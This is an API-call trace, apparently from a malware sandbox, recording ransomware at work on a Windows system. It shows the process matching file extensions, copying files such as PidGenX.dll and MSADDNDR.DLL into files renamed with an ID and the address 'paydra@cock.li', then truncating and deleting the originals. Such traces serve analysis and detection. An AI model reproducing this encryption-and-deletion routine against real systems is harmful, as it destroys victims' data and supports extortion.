lstrlenW (lpString=".7z") returned 3 [0049.380] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.380] lstrlenW (lpString=".dbf") returned 4 [0049.380] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.380] lstrlenW (lpString=".1cd") returned 4 [0049.381] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString=".jpg") returned 4 [0049.381] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString=".doc") returned 4 [0049.381] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString=".docx") returned 5 [0049.381] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.381] lstrlenW (lpString=".pdf") returned 4 [0049.381] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.381] lstrlenW (lpString=".xls") returned 4 [0049.381] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.381] lstrlenW (lpString=".xlsx") returned 5 [0049.381] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.381] lstrlenW (lpString=".ppt") returned 4 [0049.381] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString=".zip") returned 4 [0049.381] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.381] lstrlenW (lpString=".rar") returned 4 [0049.381] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.381] lstrlenW (lpString=".bz2") returned 4 [0049.381] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString=".7z") returned 3 [0049.381] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString=".dbf") returned 4 [0049.381] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.381] lstrlenW (lpString=".1cd") returned 4 [0049.381] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.382] lstrlenW (lpString=".jpg") returned 4 [0049.382] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.382] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0049.382] lstrlenW (lpString="PidGenX.dll") returned 11 [0049.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.382] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1463568) returned 1 [0049.382] CloseHandle (hObject=0x218) returned 1 [0049.382] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0049.382] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.382] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.382] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.383] GetLastError () returned 0x0 [0049.383] ReadFile (in: hFile=0x218, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.406] WriteFile (in: hFile=0x20c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.534] ReadFile (in: hFile=0x218, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x65520, lpOverlapped=0x0) returned 1 [0049.547] WriteFile (in: hFile=0x20c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0049.559] ReadFile (in: hFile=0x218, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.559] WriteFile (in: hFile=0x20c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.559] SetEndOfFile (hFile=0x20c) returned 1 [0049.559] CloseHandle (hObject=0x20c) returned 1 [0049.559] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.559] SetEndOfFile (hFile=0x218) returned 1 [0049.736] CloseHandle (hObject=0x218) returned 1 [0049.736] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.736] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.737] lstrlenW (lpString=".doc") returned 4 [0049.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString=".docx") returned 5 [0049.737] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.737] lstrlenW (lpString=".pdf") returned 4 [0049.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString=".xls") returned 4 [0049.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString=".xlsx") returned 5 [0049.737] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.737] lstrlenW (lpString=".ppt") returned 4 [0049.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.737] lstrlenW (lpString=".zip") returned 4 [0049.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString=".rar") returned 4 [0049.737] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.737] lstrlenW (lpString=".bz2") returned 4 [0049.737] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.737] lstrlenW (lpString=".7z") returned 3 [0049.737] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.737] lstrlenW (lpString=".dbf") returned 4 [0049.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.737] lstrlenW (lpString=".1cd") returned 4 [0049.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString=".jpg") returned 4 [0049.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString=".doc") returned 4 [0049.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString=".docx") returned 5 [0049.738] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.738] lstrlenW (lpString=".pdf") returned 4 [0049.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString=".xls") returned 4 [0049.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString=".xlsx") returned 5 [0049.738] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.738] lstrlenW (lpString=".ppt") returned 4 [0049.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString=".zip") returned 4 [0049.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString=".rar") returned 4 [0049.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.738] lstrlenW (lpString=".bz2") returned 4 [0049.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.738] lstrlenW (lpString=".7z") returned 3 [0049.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString=".dbf") returned 4 [0049.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.738] lstrlenW (lpString=".1cd") returned 4 [0049.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.739] lstrlenW (lpString=".jpg") returned 4 [0049.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.739] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1 [0049.739] lstrlenW (lpString="pagefile.sys") returned 12 [0049.739] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.739] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.739] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.739] lstrlenW (lpString=".doc") returned 4 [0049.739] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0049.739] lstrlenW (lpString=".docx") returned 5 [0049.739] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0049.739] lstrlenW (lpString=".pdf") returned 4 [0049.739] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0049.739] lstrlenW (lpString=".xls") returned 4 [0049.739] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0049.739] lstrlenW (lpString=".xlsx") returned 5 [0049.739] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0049.739] lstrlenW (lpString=".ppt") returned 4 [0049.739] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0049.739] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.739] lstrlenW (lpString=".zip") returned 4 [0049.739] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0049.739] lstrlenW (lpString=".rar") returned 4 [0049.739] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0049.739] lstrlenW (lpString=".bz2") returned 4 [0049.739] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0049.739] lstrlenW (lpString=".7z") returned 3 [0049.740] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString=".dbf") returned 4 [0049.740] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString=".1cd") returned 4 [0049.740] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString=".jpg") returned 4 [0049.740] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString=".doc") returned 4 [0049.740] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString=".docx") returned 5 [0049.740] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0049.740] lstrlenW (lpString=".pdf") returned 4 [0049.740] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString=".xls") returned 4 [0049.740] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0049.740] lstrlenW (lpString=".xlsx") returned 5 [0049.740] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0049.740] lstrlenW (lpString=".ppt") returned 4 [0049.740] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.740] lstrlenW (lpString=".zip") returned 4 [0049.740] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0049.740] lstrlenW (lpString=".rar") returned 4 [0049.740] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0049.740] lstrlenW (lpString=".bz2") returned 4 [0049.740] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0049.741] lstrlenW (lpString=".7z") returned 3 [0049.741] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0049.741] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.741] lstrlenW (lpString=".dbf") returned 4 [0049.741] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0049.741] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.741] lstrlenW (lpString=".1cd") returned 4 [0049.741] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0049.741] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.741] lstrlenW (lpString=".jpg") returned 4 [0049.741] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0049.741] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0049.741] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0049.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.868] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=99136) returned 1 [0049.868] CloseHandle (hObject=0x180) returned 1 [0049.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0049.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.868] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.868] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.868] GetLastError () returned 0x0 [0049.868] ReadFile (in: hFile=0x180, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x18340, lpOverlapped=0x0) returned 1 [0049.888] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0049.890] ReadFile (in: hFile=0x180, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.890] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x1b8) returned 1 [0049.890] CloseHandle (hObject=0x1b8) returned 1 [0049.890] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x180) returned 1 [0049.892] CloseHandle (hObject=0x180) returned 1 [0049.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0049.892] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.892] lstrlenW (lpString=".doc") returned 4 [0049.892] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.892] lstrlenW (lpString=".docx") returned 5 [0049.892] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0049.892] lstrlenW (lpString=".pdf") returned 4 [0049.892] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.892] lstrlenW (lpString=".xls") returned 4 [0049.892] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.892] lstrlenW (lpString=".xlsx") returned 5 [0049.892] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0049.893] lstrlenW (lpString=".ppt") returned 4 [0049.893] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString=".zip") returned 4 [0049.893] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString=".rar") returned 4 [0049.893] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString=".bz2") returned 4 [0049.893] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.893] lstrlenW (lpString=".7z") returned 3 [0049.893] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString=".dbf") returned 4 [0049.893] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString=".1cd") returned 4 [0049.893] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString=".jpg") returned 4 [0049.893] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.893] lstrlenW (lpString=".doc") returned 4 [0049.893] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString=".docx") returned 5 [0049.893] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0049.893] lstrlenW (lpString=".pdf") returned 4 [0049.893] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString=".xls") returned 4 [0049.893] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.893] lstrlenW (lpString=".xlsx") returned 5 [0049.893] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0049.893] lstrlenW (lpString=".ppt") returned 4 [0049.893] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.894] lstrlenW (lpString=".zip") returned 4 [0049.894] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.894] lstrlenW (lpString=".rar") returned 4 [0049.894] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.894] lstrlenW (lpString=".bz2") returned 4 [0049.894] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.894] lstrlenW (lpString=".7z") returned 3 [0049.894] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.894] lstrlenW (lpString=".dbf") returned 4 [0049.894] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.894] lstrlenW (lpString=".1cd") returned 4 [0049.894] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.894] lstrlenW (lpString=".jpg") returned 4 [0049.894] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.894] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0049.894] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0049.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.359] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=629664) returned 1 [0050.359] CloseHandle (hObject=0x210) returned 1 [0050.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0050.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.360] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.360] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) 